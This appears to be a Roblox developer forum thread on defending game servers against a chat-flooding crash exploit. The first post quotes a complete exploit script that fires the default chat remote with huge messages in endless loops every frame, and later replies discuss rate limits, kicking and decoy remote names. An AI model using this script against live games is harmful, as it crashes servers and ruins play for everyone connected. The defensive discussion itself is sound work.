This could also be considered an issue for roblox to fix since it has to do with their servers and chat modules allowing any length of message at any rate.
So far I have the server checking if the server tick - the stored tick of their last event is such and such distance, it kicks. I’ve only been able to protect the clients from this chat spam causing server lag by only proceeding with the message if it meets certain requirements. The server however still has to take the full load. The exploit script is as follows:
local tbl_main =
{
"Script made by ~settings~ Sorry for crashing your game! Crashing will take some seconds.",
"All"
}
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(tbl_main))
wait(1)
while true do
wait()
while true do
wait()
for i=1, 100 do
local msg = "/e "..string.rep("do the same with this put whatever you want. ",301056)
game:GetService("RunService").RenderStepped:Connect(function()
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg,"All")
end)
end
end
end
Since the event is fired so rapidly and so close together, it overloads the server before the server has time to do anything causing network traffic to halt. I’ve only been able to protect clients from lagging out but they still have to wait for the server to catch up. And as it appears, the exploiter isn’t immediately kicked and continues firing these events for some time following.
So far I’ve modified the Chat ServerScript where messages are broadcasted to contain this (max message length a client can send is 200 unless sent via exploit):
The player is not kicked fast enough and the server proceeds to lag until the exploiter themselves loses connection (they are the only person not protected from lagging out).
This has become a continual problem ever since the group was posted in the SynapseX (popular exploit) Discord server with a message to “Go crash tf out of the server using [the script]”
There’s nothing else I’ve been able to come up with to combat this other than catching it on the Server. It’s still very detrimental to the playing experience.
have the system keep track of the amount of requests it gets within a certain time period. if it gets too many at once, it could just temporarily disconnect the chat handler function from the event to completely stop future requests, hopefully meaning that the exploiter can’t really affect the server traffic (atleast reduce it a bit). downside is that chat would break for a bit, but i think it might help
That still is the server checking. And I can’t just stop a client from firing the event through an exploit so I need some external way to count the amount of times the client sends the request from the client.
i think you’re forced to server checks mostly because if the exploiter could execute a foreign piece of code it’s basically assumed that they can delete any client scripts that may try to prevent this and stop the client scripts. server scripts however will take effect regardless if they delete or not and can’t be stopped by exploiters.
I’ve already got stuff to kick someone for deleting specific scripts. Each script protects the others from being deleted or disabled. The server still gets so many requests it seizes up before being able to kick the exploiter.
I’ve recently completed my anti remote spam module(you could use this for other events too), which basically checks how many times a remote(or an event) has been fired every second, you can set the rate limit and the wait time (if the player exceeds the rate limit), I haven’t began writing any documentation yet hence I haven’t posted it yet, but, if you want the module, I could post it.
It basically prevents code from being run on the server if the rate limit is reached which should prevent the server from lagging since it will reduce the amount of code being executed on the server.
Not going to disclose why this should work but it should provide you temporary defence from those who don’t actually know how to exploit and are using something they copied on the internet:
This isn’t permanent but hopefully by this point Roblox should provide some actual fix. You’ll also have to do your chat settings again but hey it should hopefully stop it.
I would explain what I have done but then the exploiters would read it and it would be pointless. If people know how to exploit properly I’m not fully sure how effective this will be. It should also backfire on them by only lagging them so you are welcome aha.
Might message again in a bit with a better defence as well to kick them
I’ve been trying the same method but kept running into issues with it. You’re hardcoding those in and I was trying to get them to randomize every few seconds to throw those off who get the name and come back for seconds.
Randomizing names unfortunately is very difficult as it would require both the server and the client to be able to have a key at the same time in a short space of time. You could do a mathematical equation which takes into account time chunks (minutes for example) and then performs an arithmetic on the time chunks number. This would provide some security but the reality is we’re trying to stop split second event firing which after around 2 seconds the server will become inoperable.
I’ve found from personal experience that the best defense for this is an offence. For my own version which I have stored the decoy with the original name as well as the randomized (hard to copy) name exist. The decoy one immediately kicks them, job done. This however doesn’t always work as it depends on how the server was coping previously.
Unfortunately I can’t make the thing a bindable event as its :FireServer() which sucks because I would have loved to have messed with them in return cough loud music.
I do wish you luck and please let me know if you find anything useful.
I’ve started using common things like taking the server’s JobId and stripping out everything but numbers and then just doing whatever with that. But there’s nothing I can do to just continually randomize things since like you said, both server and client would have to know the event name unless only the client changed it. But even then, the client has to be aware of the event name and before it can even process and share that information, an exploiter could be using the default name on-join (unless the server changed it prior).
